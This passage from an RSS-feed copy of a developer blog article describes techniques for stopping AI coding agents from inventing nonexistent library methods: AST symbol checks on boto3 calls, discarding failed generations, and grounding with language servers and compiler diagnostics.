            &lt;span class="n"&gt;caller_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;method_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attr&lt;/span&gt;

            &lt;span class="c1"&gt;# If inspecting known imported modules&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;caller_name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'boto3'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="c1"&gt;# Deterministically check if symbol exists&lt;/span&gt;
                &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'boto3'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;hasattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="n"&gt;issues&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"boto3 has no attribute '{method_name}'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;issues&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tools like &lt;code&gt;HonestCode&lt;/code&gt; or custom LSP harnesses intercept these calls before the code runs. If a call targets a non-existent method, the tool rejects the edit before it enters the agent's persistent memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Context Rewinding Instead of Conversational Apologies
&lt;/h3&gt;

&lt;p&gt;When an agent writes code that fails with a missing symbol or runtime &lt;code&gt;AttributeError&lt;/code&gt;, the standard practice of appending the error to the chat log is actively harmful. It pollutes the attention buffer with false context.&lt;/p&gt;

&lt;p&gt;Instead, implement &lt;strong&gt;Context Rewinding&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Naive Pattern:
Prompt -&amp;gt; Code [Hallucination] -&amp;gt; Error -&amp;gt; "I apologize, let me fix..." -&amp;gt; New Hallucination

Rewind Pattern:
Prompt -&amp;gt; Code [Hallucination] -&amp;gt; AST/Linter Rejection -&amp;gt; Discard Trajectory -&amp;gt; Reprompt with explicit constraint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an action fails because of an invalid symbol:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Discard the failed generation entirely. Do not let the hallucinated tokens remain in the KV cache.&lt;/li&gt;
&lt;li&gt;Inject a negative constraint into the fresh prompt: &lt;code&gt;Note: 's3_client' does not have 'download_directory'. Use 's3_client.list_objects_v2' or 'boto3.s3.transfer'.&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Generate again from a clean state.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When the model never sees its own hallucinated token in the history, it does not build a rationalization network to defend it.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Language Server Protocol (LSP) Grounding
&lt;/h3&gt;

&lt;p&gt;Human developers rarely hallucinate library methods in VS Code. Why? Because the moment you type &lt;code&gt;s3_client.&lt;/code&gt;, the Language Server Protocol queries the type definitions and displays a completion menu showing only the methods that actually exist.&lt;/p&gt;

&lt;p&gt;Modern agent frameworks (such as ChatLSP or TypeScript compiler harnesses) integrate directly with language servers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Before asking the LLM to write the body of a function, query the LSP for available methods on the target object.&lt;/li&gt;
&lt;li&gt;Provide the valid symbol list in the prompt context as a hard constraint.&lt;/li&gt;
&lt;li&gt;Run compiler diagnostics programmatically (&lt;code&gt;tsc --noEmit&lt;/code&gt; or &lt;code&gt;pyright&lt;/code&gt;) immediately after code generation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the compiler emits a diagnostic like &lt;code&gt;Property 'download_directory' does not exist on type 'S3Client'&lt;/code&gt;, treat this as a compilation barrier, not a conversation starter.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Practical Mental Model
&lt;/h2&gt;

&lt;p&gt;When an AI coding agent generates broken code, avoid treating it as a lapse in intelligence or a temporary bug that a better prompt will solve.&lt;/p&gt;

&lt;p&gt;Remember what is happening underneath:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The model samples a token based on statistical patterns across millions of repos, where similar naming conventions blur together.&lt;/li&gt;
&lt;li&gt;The permanent ink of autoregressive decoding fixes that token into the context window.&lt;/li&gt;
&lt;li&gt;Next-token entropy drops to near zero, making the model generate parameters and explanations with total statistical confidence.&lt;/li&gt;
&lt;li&gt;If the code fails, multi-turn attention traps the agent into rationalizing its previous mistake rather than admitting the premise was wrong.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are building tools with LLMs, do not ask them to police themselves. Use AST analysis, LSP symbol introspection, and clean context rewinding. The secret to reliable AI code generation is not making the model smarter; it is making the environment deterministic.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>architecture</category>
      <category>machinelearning</category>
    </item>
  </channel>
</rss>
